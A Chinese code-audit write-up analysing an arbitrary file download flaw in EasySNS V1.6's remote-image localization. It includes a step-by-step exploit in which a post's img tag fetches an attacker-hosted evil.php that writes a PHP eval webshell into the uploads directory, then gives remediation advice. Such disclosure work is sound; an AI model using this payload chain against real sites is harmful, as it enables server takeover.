【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析
0x00 环境准备
EasySNS官网:http://www.imzaker.com/
网站源码版本:EasySNS极简社区V1.60
程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html
默认后台地址:http://127.0.0.1/admin.php/Login/login.html
默认账号密码:admin/admin
测试网站首页:

0x01 代码分析
1、 漏洞文件位置: /app/common.func.php

在公共调用函数里面,我们注意到getImageToLocal函数,通过正则从img标签里面获取链接,然后判断是否是本站地址,调用了getImage函数实现下载远程图片保存到本地,我们跟进同文件下的getImage函数进行查看,

在getImage函数中,并未对下载的文件名进行判断,获取文件后缀拼接到文件名,下载到网站目录中,那么这个函数是很危险的,很可能导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下。
2、 全局搜索getImageToLocal函数,找到调用函数的地方


漏洞文件:/app/index/controller/Topic.php,在topicadd函数中,webconfig('bd_image')==1即当程序开启远程图片本地化的时候,调用了getImageToLocal函数,我们可以根据条件构造Payload来进行漏洞利用,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。
0x02 漏洞利用
一、利用条件
1、登录网站后台—系统管理—配置管理—开启远程图片本地化(默认安装情况下处于关闭状态)

2、在第三方网站放置一个evil.php作为代码源,如http://192.168.8.131/evil.php
evil.php文件内容:
- <?php
- echo "<?php ";
- echo "eval(file_get_contents('php://input'));";
- echo "?>";
- ?>
二、漏洞利用
1、注册一个test1用户,选择发布帖子,在html代码编辑状态下插入img标签
<img src="http://192.168.8.131/evil.php" />

2、点击发布后,查看我的帖子,获取上传后的文件名。

3、文件路径格式为:/uploads/picture/cache/'.$uid.'/+$filename
查看个人主页获取uid值,

4、需要把uid加上拼接为完整路径,最终获得文件路径,成功触发恶意代码,获取网站服务器权限。
http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

0x03 修复建议
1、白名单限制远程图片本地化下载的文件名后缀,只允许下载jpg、png等格式;
2、禁止图片目录脚本执行权限。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析的更多相关文章
- 【代码审计】XYHCMS V3.5任意文件下载漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析
0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4 更新时间:2017-09-13 程序源码下载:http://www ...
- 代码审计-phpcms9.6.2任意文件下载漏洞
漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...
- dzzoffice 任意文件下载漏洞分析
dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始: elseif($_GET['do']=='move'){ $obz=trim($_ ...
- 【代码审计】EasySNS_V1.6 前台XSS跨站脚本漏洞分析
0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/ind ...
- 代码审计-(Ear Music).任意文件下载漏洞
0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...
- 任意文件下载漏洞的接口URL构造分析与讨论
文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...
- PHP代码审计笔记--任意文件下载漏洞
在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件. 0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...
随机推荐
- php 二维数组打乱顺序
public function shuffle_assoc($list) { if (!is_array($list)) return $list; $keys = array_keys($list) ...
- 代码动态设置edittext输入类型为密码类型
开发中常常会用到EditText输入框,要将他的输入类型设置为密码输入,但是直接在布局文件中设置时,hint字体风格就会不一样 例如,在布局文件中直接设置是这样的(如下图),字体风格明显跟上一行的不一 ...
- ps 和 grep 查找消除 grep自身查找
用ps -def | grep查找进程很方便,最后一行总是会grep自己. $ ps -def | grep dragonfly-framework dean 5273 5272 0 15:23 pt ...
- mtrace检查内存泄漏
内存泄漏检查方法(for Linux) 如果你更想读原始文档, 请参考glibc info的"Allocation Debugging" 一章 (执行info libc);glib ...
- ubuntu中pycharm配置opencv2环境
在ubuntu中安装pycharm.opencv2后.在pycharm环境中无法使用opencv,后来查资料显示OpenCV is not pip-installable. You’ll need t ...
- mxnet img2rec的使用,生成数据文件
建立文件夹 制作lst文件,即生成train.lst文件python im2rec.py ./mxrec/train ./mxdata --list --recursive train.lst文件格式 ...
- SAP 物料移动类型查询表
Goods movement w/o referenceB Goods movement for purchase orderF Goods movement for production order ...
- 原创:XXX公司-基于SAP的库存管理系统解决方案
XXX公司-基于SAP的库存管理系统 解决方案 版本:V0.3.0 Excel_Cortan 文件状态: [ ] 草稿 [ ] 正式发布 [√] 正在修改 文件标识: 当前版本: V0.3 作 者 ...
- 嵌入式开发之hi3516---GV7601 SPI通信问题
http://blog.csdn.net/qq_29350001/article/details/52669964 http://blog.csdn.net/zqj6893/article/detai ...
- firefox插件-HackBar介绍与试用
This toolbar will help you in testing sql injections, XSS holes and site security. It is NOT a tool ...